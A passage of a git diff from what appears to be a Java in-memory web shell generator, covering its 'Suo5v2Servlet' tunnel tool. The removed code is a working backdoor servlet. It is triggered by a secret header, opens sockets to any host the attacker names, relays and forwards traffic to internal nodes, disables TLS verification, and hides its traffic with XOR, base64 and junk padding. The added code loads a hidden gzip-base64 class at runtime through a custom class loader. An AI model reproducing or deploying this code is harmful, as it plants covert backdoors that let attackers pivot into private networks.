0, copyLength); - for (int i = 0; i < copyLength; i++) { - copy[i] = original[from + i]; - } - return copy; - } - - private String base64UrlEncode(byte[] bs) throws Exception { - Class base64; - String value = null; - try { - base64 = Class.forName("java.util.Base64"); - Object Encoder = base64.getMethod("getEncoder", new Class[0]) - .invoke(base64, new Object[0]); - value = (String) Encoder.getClass() - .getMethod("encodeToString", new Class[]{byte[].class}) - .invoke(Encoder, new Object[]{bs}); - } catch (Exception e) { - try { - base64 = Class.forName("sun.misc.BASE64Encoder"); - Object Encoder = base64.newInstance(); - value = (String) Encoder.getClass() - .getMethod("encode", new Class[]{byte[].class}) - .invoke(Encoder, new Object[]{bs}); - value = value.replaceAll("\\s+", ""); - } catch (Exception e2) { - } - } - if (value != null) { - value = value.replace('+', '-').replace('/', '_'); - while (value.endsWith("=")) { - value = value.substring(0, value.length() - 1); - } - } - return value; - } - - - private byte[] base64UrlDecode(String bs) throws Exception { - if (bs == null) { - return null; - } - bs = bs.replace('-', '+').replace('_', '/'); - while (bs.length() % 4 != 0) { - bs += "="; - } - - Class base64; - byte[] value = null; - try { - base64 = Class.forName("java.util.Base64"); - Object decoder = base64.getMethod("getDecoder", new Class[0]).invoke(base64, new Object[0]); - value = (byte[]) decoder.getClass().getMethod("decode", new Class[]{String.class}).invoke(decoder, new Object[]{bs}); - } catch (Exception e) { - try { - base64 = Class.forName("sun.misc.BASE64Decoder"); - Object decoder = base64.newInstance(); - value = (byte[]) decoder.getClass().getMethod("decodeBuffer", new Class[]{String.class}).invoke(decoder, new Object[]{bs}); - } catch (Exception e2) { - } - } - return value; - } - - private byte[] marshalBase64(HashMap m) throws Exception { - // add some junk data, 0~16 random size - Random random = new Random(); - int junkSize = random.nextInt(32); - if (junkSize > 0) { - byte[] junk = new byte[junkSize]; - random.nextBytes(junk); - m.put("_", junk); - } - - ByteArrayOutputStream buf = new ByteArrayOutputStream(); - Object[] keys = m.keySet().toArray(); - for (int i = 0; i < keys.length; i++) { - String key = (String) keys[i]; - byte[] value = (byte[]) m.get(key); - buf.write((byte) key.length()); - buf.write(key.getBytes()); - buf.write(u32toBytes(value.length)); - buf.write(value); - } - - // xor key - byte[] key = new byte[2]; - key[0] = (byte) ((Math.random() * 255) + 1); - key[1] = (byte) ((Math.random() * 255) + 1); - - byte[] data = buf.toByteArray(); - for (int i = 0; i < data.length; i++) { - data[i] = (byte) (data[i] ^ key[i % 2]); - } - data = base64UrlEncode(data).getBytes(); - - ByteBuffer dbuf = ByteBuffer.allocate(6); - dbuf.put(key); - dbuf.putInt(data.length); - byte[] headerData = dbuf.array(); - for (int i = 2; i < 6; i++) { - headerData[i] = (byte) (headerData[i] ^ key[i % 2]); - } - headerData = base64UrlEncode(headerData).getBytes(); - dbuf = ByteBuffer.allocate(8 + data.length); - dbuf.put(headerData); - dbuf.put(data); - return dbuf.array(); - } - - private HashMap unmarshalBase64(InputStream in) throws Exception { - HashMap m = new HashMap(); - byte[] header = new byte[8]; // base64 header - readFull(in, header); - header = base64UrlDecode(new String(header)); - if (header == null || header.length == 0) { - return m; - } - byte[] xor = new byte[]{header[0], header[1]}; - for (int i = 2; i < 6; i++) { - header[i] = (byte) (header[i] ^ xor[i % 2]); - } - ByteBuffer bb = ByteBuffer.wrap(header, 2, 4); - int len = bb.getInt(); - if (len > 1024 * 1024 * 32) { - throw new IOException("invalid len"); - } - byte[] bs = new byte[len]; - readFull(in, bs); - bs = base64UrlDecode(new String(bs)); - for (int i = 0; i < bs.length; i++) { - bs[i] = (byte) (bs[i] ^ xor[i % 2]); - } - - byte[] buf; - for (int i = 0; i < bs.length; ) { - int kLen = bs[i] & 0xFF; - i += 1; - if (i + kLen > bs.length) { - throw new Exception("key len error"); + int n; + while ((n = gzipInputStream.read(buffer)) > 0) { + out.write(buffer, 0, n); } - buf = copyOfRange(bs, i, i + kLen); - String key = new String(buf); - i += kLen; - - if (i + 4 > bs.length) { - throw new Exception("value len error"); - } - buf = copyOfRange(bs, i, i + 4); - int vLen = bytesToU32(buf); - i += 4; - if (vLen < 0) { - throw new Exception("value error"); - } - - if (i + vLen > bs.length) { - throw new Exception("value error"); - } - byte[] value = copyOfRange(bs, i, i + vLen); - i += vLen; - - m.put(key, value); - } - return m; - } - - private String randomString(int length) { - if (length <= 0) { - return ""; - } - Random random = new Random(); - char[] randomChars = new char[length]; - for (int i = 0; i < length; i++) { - int randomIndex = random.nextInt(CHARACTERS_LENGTH); - randomChars[i] = CHARACTERS.charAt(randomIndex); - } - return new String(randomChars); - } - - public boolean verify(String hostname, SSLSession session) { - return true; - } - - public void checkClientTrusted(X509Certificate[] chain, String authType) throws CertificateException { - } - - public void checkServerTrusted(X509Certificate[] chain, String authType) throws CertificateException { - } - - public X509Certificate[] getAcceptedIssuers() { - return new X509Certificate[0]; - } - - public void run() { - // full stream - if (this.mode == 0) { - try { - pipeStream(gInStream, gOutStream, true); - } catch (Exception ignore) { - } - return; - } - - Object[] objs = (Object[]) getKey(this.gtunId); - if (objs == null || objs.length != 3) { - - return; - } - SocketChannel sc = (SocketChannel) objs[0]; - BlockingQueue readQueue = (BlockingQueue) objs[1]; - BlockingQueue writeQueue = (BlockingQueue) objs[2]; - boolean selfClean = false; - - try { - if (mode == 1) { - // read thread - ByteBuffer buffer = ByteBuffer.allocate(BUF_SIZE); - while (true) { - byte[] data = readSocketChannel(sc, buffer); - if (data.length == 0) { - break; - } - if (!readQueue.offer(data, 60, TimeUnit.SECONDS)) { - selfClean = true; - break; - } - } - } else { - // write thread - while (true) { - byte[] data = writeQueue.poll(300, TimeUnit.SECONDS); - if (data == null || data.length == 0) { - selfClean = true; - break; - } - ByteBuffer buf = ByteBuffer.wrap(data); - while (buf.hasRemaining()) { - sc.write(buf); - } - } - } - } catch (Exception e) { + return out.toByteArray(); } finally { - if (selfClean) { - - removeKey(this.gtunId); + if (gzipInputStream != null) { + gzipInputStream.close(); } - readQueue.clear(); - writeQueue.clear(); - try { - writeQueue.put(new byte[0]); - sc.close(); - } catch (Exception ignore) { - } - + out.close(); } } } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2Servlet.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2Servlet.java index 580c1cda..ca95c72e 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2Servlet.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2Servlet.java @@ -1,1073 +1,72 @@ package com.reajason.javaweb.memshell.shelltool.suo5v2; -import javax.net.ssl.*; import javax.servlet.*; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; -import java.io.*; -import java.net.*; -import java.nio.ByteBuffer; -import java.nio.channels.SocketChannel; -import java.security.cert.CertificateException; -import java.security.cert.X509Certificate; -import java.util.Enumeration; -import java.util.HashMap; -import java.util.Hashtable; -import java.util.Random; -import java.util.concurrent.BlockingQueue; -import java.util.concurrent.LinkedBlockingQueue; -import java.util.concurrent.TimeUnit; +import java.io.ByteArrayInputStream; +import java.io.ByteArrayOutputStream; +import java.io.IOException; +import java.util.zip.GZIPInputStream; /** * @author ReaJason * @since 2025/12/9 */ -public class Suo5v2Servlet implements Servlet, Runnable, HostnameVerifier, X509TrustManager { - public static String headerName; - public static String headerValue; - private static HashMap addrs = collectAddr(); - private static Hashtable ctx = new Hashtable(); - - private final String CHARACTERS = "abcdefghijklmnopqrstuvwxyz0123456789"; - private final int CHARACTERS_LENGTH = CHARACTERS.length(); - private final int BUF_SIZE = 1024 * 16; - - private InputStream gInStream; - private OutputStream gOutStream; - private String gtunId; - private int mode = 0; +public class Suo5v2Servlet extends ClassLoader implements Servlet { + private static Class suo5V2Class; + private static String suo5V2GZipBase64; public Suo5v2Servlet() { } - public Suo5v2Servlet(InputStream in, OutputStream out, String tunId) { - this.gInStream = in; - this.gOutStream = out; - this.gtunId = tunId; + protected Suo5v2Servlet(ClassLoader parent) { + super(parent); } - public Suo5v2Servlet(String tunId, int mode) { - this.gtunId = tunId; - this.mode = mode; - } - - @Override public void service(ServletRequest req, ServletResponse res) throws ServletException, IOException { HttpServletRequest request = (HttpServletRequest) req; HttpServletResponse response = (HttpServletResponse) res; try { - if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) { - new Suo5v2Servlet().process(request, response); + if (suo5V2Class == null) { + byte[] bytes = gzipDecompress(decodeBase64(suo5V2GZipBase64)); + suo5V2Class = new Suo5v2Servlet(Thread.currentThread().getContextClassLoader()).defineClass(bytes, 0, bytes.length); } + suo5V2Class.newInstance().equals(new Object[]{request, response}); } catch (Throwable ignored) { } } - private void process(ServletRequest request, ServletResponse response) { - HttpServletRequest req = (HttpServletRequest) request; - HttpServletResponse resp = (HttpServletResponse) response; - - String sid = null; - byte[] bodyPrefix = new byte[0]; + @SuppressWarnings("all") + public static byte[] decodeBase64(String base64Str) throws Exception { + Class decoderClass; try { - InputStream reqInputStream = req.getInputStream(); - HashMap dataMap = unmarshalBase64(reqInputStream); - - byte[] modeData = (byte[]) dataMap.get("m"); - byte[] actionData = (byte[]) dataMap.get("ac"); - byte[] tunIdData = (byte[]) dataMap.get("id"); - byte[] sidData = (byte[]) dataMap.get("sid"); - if (actionData == null || actionData.length != 1 || tunIdData == null || tunIdData.length == 0 || modeData == null || modeData.length == 0) { - return; - } - if (sidData != null && sidData.length > 0) { - sid = new String(sidData); - } - - String tunId = new String(tunIdData); - byte mode = modeData[0]; - switch (mode) { - case 0x00: - sid = randomString(16); - processHandshake(req, resp, dataMap, tunId, sid); - - break; - case 0x01: - setBypassHeader(resp); - processFullStream(req, resp, dataMap, tunId); - break; - case 0x02: - setBypassHeader(resp); - // don't break here, continue to process - case 0x03: - byte[] bodyContent = toByteArray(reqInputStream); - if (processRedirect(req, resp, dataMap, bodyPrefix, bodyContent)) { - - break; - } - - if (sidData == null || sidData.length == 0 || getKey(new String(sidData)) == null) { - // send to wrong node, client should retry - resp.setStatus(403); - - return; - } - - InputStream bodyStream = new ByteArrayInputStream(bodyContent); - int dirySize = getDirtySize(sid); - - if (mode == 0x02) { - // half mode - writeAndFlush(resp, processTemplateStart(resp, new String(sidData)), dirySize); - do { - processHalfStream(req, resp, dataMap, tunId, dirySize); - try { - dataMap = unmarshalBase64(bodyStream); - if (dataMap.isEmpty()) { - break; - } - tunId = new String((byte[]) dataMap.get("id")); - } catch (Exception e) { - break; - } - } while (true); - writeAndFlush(resp, processTemplateEnd(sid), dirySize); - - } else { - // classic mode - ByteArrayOutputStream baos = new ByteArrayOutputStream(); - baos.write(processTemplateStart(resp, new String(sidData))); - - do { - processClassic(req, baos, dataMap, tunId); - try { - dataMap = unmarshalBase64(bodyStream); - if (dataMap.isEmpty()) { - break; - } - tunId = new String((byte[]) dataMap.get("id")); - } catch (Exception e) { - break; - } - } while (true); - - baos.write(processTemplateEnd(sid)); - resp.setContentLength(baos.size()); - writeAndFlush(resp, baos.toByteArray(), 0); - } - - break; - default: - } + decoderClass = Class.forName("java.util.Base64"); + Object decoder = decoderClass.getMethod("getDecoder").invoke(null); + return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str); } catch (Throwable e) { - } finally { - try { - OutputStream out = resp.getOutputStream(); - out.flush(); - out.close(); - } catch (Throwable ignored) {} - } - } - - private void setBypassHeader(HttpServletResponse resp) { - resp.setBufferSize(BUF_SIZE); - resp.setHeader("X-Accel-Buffering", "no"); - } - - private byte[] processTemplateStart(HttpServletResponse resp, String sid) throws Exception { - byte[] data = new byte[0]; - Object o = getKey(sid); - if (o == null) { - - return data; - } - String[] tplParts = (String[]) o; - if (tplParts.length != 3) { - return data; - } - - resp.setHeader("Content-Type", tplParts[0]); - return tplParts[1].getBytes(); - } - - private byte[] processTemplateEnd(String sid) { - byte[] data = new byte[0]; - Object o = getKey(sid); - if (o == null) { - - return data; - } - String[] tplParts = (String[]) o; - if (tplParts.length != 3) { - return data; - } - - return tplParts[2].getBytes(); - } - - private int getDirtySize(String sid) { - Object o = getKey(sid + "_jk"); - if (o == null) { - return 0; - } - return (Integer) o; - } - - private boolean processRedirect(HttpServletRequest req, HttpServletResponse resp, HashMap dataMap, byte[] bodyPrefix, byte[] bodyContent) throws Exception { - byte[] redirectData = (byte[]) dataMap.get("r"); - dataMap.remove("r"); - // load balance, send request with data to request url - boolean needRedirect = redirectData != null && redirectData.length > 0; - if (needRedirect && !isLocalAddr(new String(redirectData))) { - HttpURLConnection conn = null; - try { - ByteArrayOutputStream baos = new ByteArrayOutputStream(); - baos.write(bodyPrefix); - baos.write(marshalBase64(dataMap)); - baos.write(bodyContent); - byte[] newBody = baos.toByteArray(); - conn = redirect(req, new String(redirectData), newBody); - pipeStream(conn.getInputStream(), resp.getOutputStream(), false); - } finally { - if (conn != null) { - conn.disconnect(); - } - } - return true; - } - return false; - } - - private void processHandshake(HttpServletRequest req, HttpServletResponse resp, HashMap dataMap, String tunId, String sid) throws Exception { - byte[] redirectData = (byte[]) dataMap.get("r"); - boolean needRedirect = redirectData != null && redirectData.length > 0; - if (needRedirect && !isLocalAddr(new String(redirectData))) { - resp.setStatus(403); - return; - } - - byte[] tplData = (byte[]) dataMap.get("tpl"); - byte[] contentTypeData = (byte[]) dataMap.get("ct"); - if (tplData != null && tplData.length > 0 && contentTypeData != null && contentTypeData.length > 0) { - String tpl = new String(tplData); - String[] parts = tpl.split("#data#", 2); - putKey(sid, new String[]{new String(contentTypeData), parts[0], parts[1]}); - } else { - putKey(sid, new String[0]); - } - - byte[] dirtySizeData = (byte[]) dataMap.get("jk"); - if (dirtySizeData != null && dirtySizeData.length > 0) { - int dirtySize = 0; - try { - dirtySize = Integer.parseInt(new String(dirtySizeData)); - } catch (NumberFormatException e) { - - } - if (dirtySize < 0) { - dirtySize = 0; - } - putKey(sid + "_jk", dirtySize); - } - - byte[] isAutoData = (byte[]) dataMap.get("a"); - boolean isAuto = isAutoData != null && isAutoData.length > 0 && isAutoData[0] == 0x01; - if (isAuto) { - setBypassHeader(resp); - writeAndFlush(resp, processTemplateStart(resp, sid), 0); - - // write the body string to verify - writeAndFlush(resp, marshalBase64(newData(tunId, (byte[]) dataMap.get("dt"))), 0); - - Thread.sleep(2000); - - // write again to identify streaming response - writeAndFlush(resp, marshalBase64(newData(tunId, sid.getBytes())), 0); - writeAndFlush(resp, processTemplateEnd(sid), 0); - } else { - ByteArrayOutputStream baos = new ByteArrayOutputStream(); - baos.write(processTemplateStart(resp, sid)); - baos.write(marshalBase64(newData(tunId, (byte[]) dataMap.get("dt")))); - baos.write(marshalBase64(newData(tunId, sid.getBytes()))); - baos.write(processTemplateEnd(sid)); - resp.setContentLength(baos.size()); - writeAndFlush(resp, baos.toByteArray(), 0); - } - } - - private void processFullStream(HttpServletRequest req, HttpServletResponse resp, HashMap dataMap, String tunId) throws Exception { - InputStream reqInputStream = req.getInputStream(); - String host = new String((byte[]) dataMap.get("h")); - int port = Integer.parseInt(new String((byte[]) dataMap.get("p"))); - if (port == 0) { - port = getServerPort(req); - } - - Socket socket = null; - - try { - socket = new Socket(); - socket.setTcpNoDelay(true); - socket.setReceiveBufferSize(128 * 1024); - socket.setSendBufferSize(128 * 1024); - socket.connect(new InetSocketAddress(host, port), 5000); - writeAndFlush(resp, marshalBase64(newStatus(tunId, (byte) 0x00)), 0); - } catch (Exception e) { - if (socket != null) { - socket.close(); - } - writeAndFlush(resp, marshalBase64(newStatus(tunId, (byte) 0x01)), 0); - return; - } - - - Thread t = null; - boolean sendClose = true; - try { - final OutputStream scOutStream = socket.getOutputStream(); - final InputStream scInStream = socket.getInputStream(); - final OutputStream respOutputStream = resp.getOutputStream(); - - Suo5v2Servlet p = new Suo5v2Servlet(scInStream, respOutputStream, tunId); - t = new Thread(p); - t.start(); - - while (true) { - HashMap newData = unmarshalBase64(reqInputStream); - if (newData.isEmpty()) { - break; - } - byte action = ((byte[]) newData.get("ac"))[0]; - switch (action) { - case 0x00: - case 0x02: - sendClose = false; - break; - case 0x01: - byte[] data = (byte[]) newData.get("dt"); - if (data.length != 0) { - scOutStream.write(data); - scOutStream.flush(); - } - break; - case 0x10: - writeAndFlush(resp, marshalBase64(newHeartbeat(tunId)), 0); - break; - default: - } - } - } catch (Exception ignored) { - } finally { - - try { - socket.close(); - } catch (Exception ignored) { - } - - if (sendClose) { - writeAndFlush(resp, marshalBase64(newDel(tunId)), 0); - } - if (t != null) { - t.join(); - } - - } - } - - private void processHalfStream(HttpServletRequest req, HttpServletResponse resp, HashMap dataMap, String tunId, int dirtySize) throws Exception { - boolean newThread = false; - boolean sendClose = true; - - try { - byte action = ((byte[]) dataMap.get("ac"))[0]; - switch (action) { - case 0x00: - byte[] createData = performCreate(req, dataMap, tunId, newThread); - writeAndFlush(resp, createData, dirtySize); - - Object[] objs = (Object[]) getKey(tunId); - if (objs == null) { - throw new IOException("tunnel not found"); - } - SocketChannel sc = (SocketChannel) objs[0]; - ByteBuffer buffer = ByteBuffer.allocate(BUF_SIZE); - while (true) { - try { - byte[] data = readSocketChannel(sc, buffer); - if (data.length == 0) { - break; - } - writeAndFlush(resp, marshalBase64(newData(tunId, data)), dirtySize); - } catch (Exception e) { -// - break; - } - } - break; - case 0x01: - performWrite(dataMap, tunId, newThread); - break; - case 0x02: - - sendClose = false; - performDelete(tunId); - break; - case 0x10: - writeAndFlush(resp, marshalBase64(newHeartbeat(tunId)), dirtySize); - break; - } - - } catch (Exception e) { - - performDelete(tunId); - if (sendClose) { - writeAndFlush(resp, marshalBase64(newDel(tunId)), dirtySize); - } - } - } - - private void processClassic(HttpServletRequest req, ByteArrayOutputStream respBodyStream, HashMap dataMap, String tunId) throws - Exception { - boolean sendClose = true; - boolean newThread = true; - - try { - byte action = ((byte[]) dataMap.get("ac"))[0]; - switch (action) { - case 0x00: - byte[] createData = performCreate(req, dataMap, tunId, newThread); - respBodyStream.write(createData); - break; - case 0x01: - performWrite(dataMap, tunId, newThread); - byte[] readData = performRead(tunId); - respBodyStream.write(readData); - break; - case 0x02: - sendClose = false; - performDelete(tunId); - break; - } - - } catch (Exception e) { - - performDelete(tunId); - if (sendClose) { - respBodyStream.write(marshalBase64(newDel(tunId))); - } - } - } - - private void writeAndFlush(HttpServletResponse resp, byte[] data, int dirtySize) throws Exception { - if (data == null || data.length == 0) { - return; - } - OutputStream out = resp.getOutputStream(); - out.write(data); - if (dirtySize != 0) { - - out.write(marshalBase64(newDirtyChunk(dirtySize))); - } - out.flush(); - resp.flushBuffer(); - } - - private byte[] performCreate(HttpServletRequest request, HashMap dataMap, String tunId, boolean newThread) throws Exception { - String host = new String((byte[]) dataMap.get("h")); - int port = Integer.parseInt(new String((byte[]) dataMap.get("p"))); - if (port == 0) { - port = getServerPort(request); - } - - ByteArrayOutputStream baos = new ByteArrayOutputStream(); - SocketChannel socketChannel = null; - HashMap resultData = null; - try { - socketChannel = SocketChannel.open(); - socketChannel.socket().setTcpNoDelay(true); - socketChannel.socket().setReceiveBufferSize(128 * 1024); - socketChannel.socket().setSendBufferSize(128 * 1024); - socketChannel.socket().connect(new InetSocketAddress(host, port), 3000); - socketChannel.configureBlocking(true); - resultData = newStatus(tunId, (byte) 0x00); - BlockingQueue readQueue = new LinkedBlockingQueue(100); - BlockingQueue writeQueue = new LinkedBlockingQueue(); - putKey(tunId, new Object[]{socketChannel, readQueue, writeQueue}); - if (newThread) { - new Thread(new Suo5v2Servlet(tunId, 1)).start(); - new Thread(new Suo5v2Servlet(tunId, 2)).start(); - } - } catch (Exception e) { - if (socketChannel != null) { - try { - socketChannel.close(); - } catch (Exception ignore) { - } - } - - resultData = newStatus(tunId, (byte) 0x01); - } - baos.write(marshalBase64(resultData)); - return baos.toByteArray(); - } - - private void performWrite(HashMap dataMap, String tunId, boolean newThread) throws Exception { - Object[] objs = (Object[]) getKey(tunId); - if (objs == null) { - throw new IOException("tunnel not found"); - } - SocketChannel sc = (SocketChannel) objs[0]; - if (!sc.isConnected()) { - throw new IOException("socket not connected"); - } - - byte[] data = (byte[]) dataMap.get("dt"); - if (data.length != 0) { - if (newThread) { - BlockingQueue writeQueue = (BlockingQueue) objs[2]; - writeQueue.put(data); - } else { - ByteBuffer buf = ByteBuffer.wrap(data); - while (buf.hasRemaining()) { - sc.write(buf); - } - } - } - } - - private byte[] performRead(String tunId) throws Exception { - Object[] objs = (Object[]) getKey(tunId); - if (objs == null) { - throw new IOException("tunnel not found"); - } - SocketChannel sc = (SocketChannel) objs[0]; - if (!sc.isConnected()) { - throw new IOException("socket not connected"); - } - ByteArrayOutputStream baos = new ByteArrayOutputStream(); - BlockingQueue readQueue = (BlockingQueue) objs[1]; - int maxSize = 512 * 1024; // 1MB - int written = 0; - while (true) { - byte[] data = readQueue.poll(); - if (data != null) { - written += data.length; - baos.write(marshalBase64(newData(tunId, data))); - if (written >= maxSize) { - break; - } - } else { - break; // no more data - } - } - return baos.toByteArray(); - } - - private void performDelete(String tunId) { - Object[] objs = (Object[]) getKey(tunId); - if (objs != null) { - removeKey(tunId); - SocketChannel sc = (SocketChannel) objs[0]; - BlockingQueue writeQueue = (BlockingQueue) objs[2]; - try { - // trigger write thread to exit; - writeQueue.put(new byte[0]); - sc.close(); - } catch (Exception ignore) { - } + decoderClass = Class.forName("sun.misc.BASE64Decoder"); + return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str); } } - private int getServerPort(HttpServletRequest request) throws Exception { - int port; + @SuppressWarnings("all") + public static byte[] gzipDecompress(byte[] compressedData) throws IOException { + ByteArrayOutputStream out = new ByteArrayOutputStream(); + GZIPInputStream gzipInputStream = null; try { - port = ((Integer) request.getClass().getMethod("getLocalPort", new Class[]{}).invoke(request, new Object[]{})).intValue(); - } catch (Exception e) { - port = ((Integer) request.getClass().getMethod("getServerPort", new Class[]{}).invoke(request, new Object[]{})).intValue(); - } - return port; - } - - private void pipeStream(InputStream inputStream, OutputStream outputStream, boolean needMarshal) throws Exception { - try { - byte[] readBuf = new byte[1024 * 8]; - while (true) { - int n = inputStream.read(readBuf); - if (n <= 0) { - break; - } - byte[] dataTmp = copyOfRange(readBuf, 0, 0 + n); - if (needMarshal) { - dataTmp = marshalBase64(newData(this.gtunId, dataTmp)); - } - outputStream.write(dataTmp); - outputStream.flush(); - } - } finally { - // don't close outputStream - if (inputStream != null) { - try { - inputStream.close(); - } catch (Exception ignore) { - } - } - } - } - - private byte[] readSocketChannel(SocketChannel socketChannel, ByteBuffer buffer) throws IOException { - buffer.clear(); - int bytesRead = socketChannel.read(buffer); - if (bytesRead <= 0) { // EOF or error - return new byte[0]; - } - - buffer.flip(); - byte[] data = new byte[buffer.remaining()]; - buffer.get(data); - return data; - } - - private static HashMap collectAddr() { - HashMap addrs = new HashMap(); - try { - Enumeration nifs = NetworkInterface.getNetworkInterfaces(); - while (nifs.hasMoreElements()) { - NetworkInterface nif = (NetworkInterface) nifs.nextElement(); - Enumeration addresses = nif.getInetAddresses(); - while (addresses.hasMoreElements()) { - InetAddress addr = (InetAddress) addresses.nextElement(); - String s = addr.getHostAddress(); - if (s != null) { - // fe80:0:0:0:fb0d:5776:2d7c:da24%wlan4 strip %wlan4 - int ifaceIndex = s.indexOf('%'); - if (ifaceIndex != -1) { - s = s.substring(0, ifaceIndex); - } - addrs.put((Object) s, (Object) Boolean.TRUE); - } - } - } - } catch (Exception e) { - } - return addrs; - } - - private boolean isLocalAddr(String url) throws Exception { - String ip = (new URL(url)).getHost(); - return addrs.containsKey(ip); - } - - private HttpURLConnection redirect(HttpServletRequest request, String rUrl, byte[] body) throws Exception { - String method = request.getMethod(); - URL u = new URL(rUrl); - HttpURLConnection conn = (HttpURLConnection) u.openConnection(); - conn.setRequestMethod(method); - try { - // conn.setConnectTimeout(3000); - conn.getClass().getMethod("setConnectTimeout", new Class[]{int.class}).invoke(conn, new Object[]{new Integer(3000)}); - // conn.setReadTimeout(0); - conn.getClass().getMethod("setReadTimeout", new Class[]{int.class}).invoke(conn, new Object[]{new Integer(0)}); - } catch (Exception e) { - // java1.4 - } - conn.setDoOutput(true); - conn.setDoInput(true); - - // ignore ssl verify - // ref: https://github.com/L-codes/Neo-reGeorg/blob/master/templates/NeoreGeorg.java - if (HttpsURLConnection.class.isInstance(conn)) { - ((HttpsURLConnection) conn).setHostnameVerifier(this); - SSLContext sslCtx = SSLContext.getInstance("SSL"); - sslCtx.init(null, new TrustManager[]{this}, null); - ((HttpsURLConnection) conn).setSSLSocketFactory(sslCtx.getSocketFactory()); - } - - Enumeration headers = request.getHeaderNames(); - while (headers.hasMoreElements()) { - String k = (String) headers.nextElement(); - if (k.equalsIgnoreCase("Content-Length")) { - conn.setRequestProperty(k, String.valueOf(body.length)); - } else if (k.equalsIgnoreCase("Host")) { - conn.setRequestProperty(k, u.getHost()); - } else if (k.equalsIgnoreCase("Connection")) { - conn.setRequestProperty(k, "close"); - } else if (k.equalsIgnoreCase("Content-Encoding") || k.equalsIgnoreCase("Transfer-Encoding")) { - continue; - } else { - conn.setRequestProperty(k, request.getHeader(k)); - } - } - - OutputStream rout = conn.getOutputStream(); - rout.write(body); - rout.flush(); - rout.close(); - conn.getResponseCode(); - return conn; - } - - - private byte[] toByteArray(InputStream in) { - try { - ByteArrayOutputStream baos = new ByteArrayOutputStream(); + gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData)); byte[] buffer = new byte[4096]; - - int len; - while ((len = in.read(buffer)) != -1) { - baos.write(buffer, 0, len); + int n; + while ((n = gzipInputStream.read(buffer)) > 0) { + out.write(buffer, 0, n); } - - return baos.toByteArray(); - } catch (IOException var5) { - return new byte[0]; - } - } - - private void readFull(InputStream is, byte[] b) throws IOException { - int bufferOffset = 0; - while (bufferOffset < b.length) { - int readLength = b.length - bufferOffset; - int readResult = is.read(b, bufferOffset, readLength); - if (readResult == -1) { - throw new IOException("stream EOF"); - } - bufferOffset += readResult; - } - } - - public HashMap newDirtyChunk(int size) { - HashMap m = new HashMap(); - m.put("ac", new byte[]{0x11}); - if (size > 0) { - byte[] data = new byte[size]; - new Random().nextBytes(data); - m.put("d", data); - } - return m; - } - - private HashMap newData(String tunId, byte[] data) { - HashMap m = new HashMap(); - m.put("ac", new byte[]{0x01}); - m.put("dt", data); - m.put("id", tunId.getBytes()); - return m; - } - - private HashMap newDel(String tunId) { - HashMap m = new HashMap(); - m.put("ac", new byte[]{0x02}); - m.put("id", tunId.getBytes()); - return m; - } - - private HashMap newStatus(String tunId, byte b) { - HashMap m = new HashMap(); - m.put("ac", new byte[]{0x03}); - m.put("s", new byte[]{b}); - m.put("id", tunId.getBytes()); - return m; - } - - private HashMap newHeartbeat(String tunId) { - HashMap m = new HashMap(); - m.put("ac", new byte[]{0x10}); - m.put("id", tunId.getBytes()); - return m; - } - - private byte[] u32toBytes(int i) { - byte[] result = new byte[4]; - result[0] = (byte) (i >> 24); - result[1] = (byte) (i >> 16); - result[2] = (byte) (i >> 8); - result[3] = (byte) (i /*>> 0*/); - return result; - } - - private int bytesToU32(byte[] bytes) { - return ((bytes[0] & 0xFF) << 24) | - ((bytes[1] & 0xFF) << 16) | - ((bytes[2] & 0xFF) << 8) | - ((bytes[3] & 0xFF) << 0); - } - - private void putKey(String k, Object v) { - ctx.put(k, v); - } - - private Object getKey(String k) { - return ctx.get(k); - } - - private void removeKey(String k) { - ctx.remove(k); - } - - private byte[] copyOfRange(byte[] original, int from, int to) { - int newLength = to - from; - if (newLength < 0) { - throw new IllegalArgumentException(from + " > " + to); - } - byte[] copy = new byte[newLength]; - int copyLength = Math.min(original.length - from, newLength); - // can't use System.arraycopy, there is no system in some environment - // System.arraycopy(original, from, copy, 0, copyLength); - for (int i = 0; i < copyLength; i++) { - copy[i] = original[from + i]; - } - return copy; - } - - private String base64UrlEncode(byte[] bs) throws Exception { - Class base64; - String value = null; - try { - base64 = Class.forName("java.util.Base64"); - Object Encoder = base64.getMethod("getEncoder", new Class[0]) - .invoke(base64, new Object[0]); - value = (String) Encoder.getClass() - .getMethod("encodeToString", new Class[]{byte[].class}) - .invoke(Encoder, new Object[]{bs}); - } catch (Exception e) { - try { - base64 = Class.forName("sun.misc.BASE64Encoder"); - Object Encoder = base64.newInstance(); - value = (String) Encoder.getClass() - .getMethod("encode", new Class[]{byte[].class}) - .invoke(Encoder, new Object[]{bs}); - value = value.replaceAll("\\s+", ""); - } catch (Exception e2) { - } - } - if (value != null) { - value = value.replace('+', '-').replace('/', '_'); - while (value.endsWith("=")) { - value = value.substring(0, value.length() - 1); - } - } - return value; - } - - - private byte[] base64UrlDecode(String bs) throws Exception { - if (bs == null) { - return null; - } - bs = bs.replace('-', '+').replace('_', '/'); - while (bs.length() % 4 != 0) { - bs += "="; - } - - Class base64; - byte[] value = null; - try { - base64 = Class.forName("java.util.Base64"); - Object decoder = base64.getMethod("getDecoder", new Class[0]).invoke(base64, new Object[0]); - value = (byte[]) decoder.getClass().getMethod("decode", new Class[]{String.class}).invoke(decoder, new Object[]{bs}); - } catch (Exception e) { - try { - base64 = Class.forName("sun.misc.BASE64Decoder"); - Object decoder = base64.newInstance(); - value = (byte[]) decoder.getClass().getMethod("decodeBuffer", new Class[]{String.class}).invoke(decoder, new Object[]{bs}); - } catch (Exception e2) { - } - } - return value; - } - - private byte[] marshalBase64(HashMap m) throws Exception { - // add some junk data, 0~16 random size - Random random = new Random(); - int junkSize = random.nextInt(32); - if (junkSize > 0) { - byte[] junk = new byte[junkSize]; - random.nextBytes(junk); - m.put("_", junk); - } - - ByteArrayOutputStream buf = new ByteArrayOutputStream(); - Object[] keys = m.keySet().toArray(); - for (int i = 0; i < keys.length; i++) { - String key = (String) keys[i]; - byte[] value 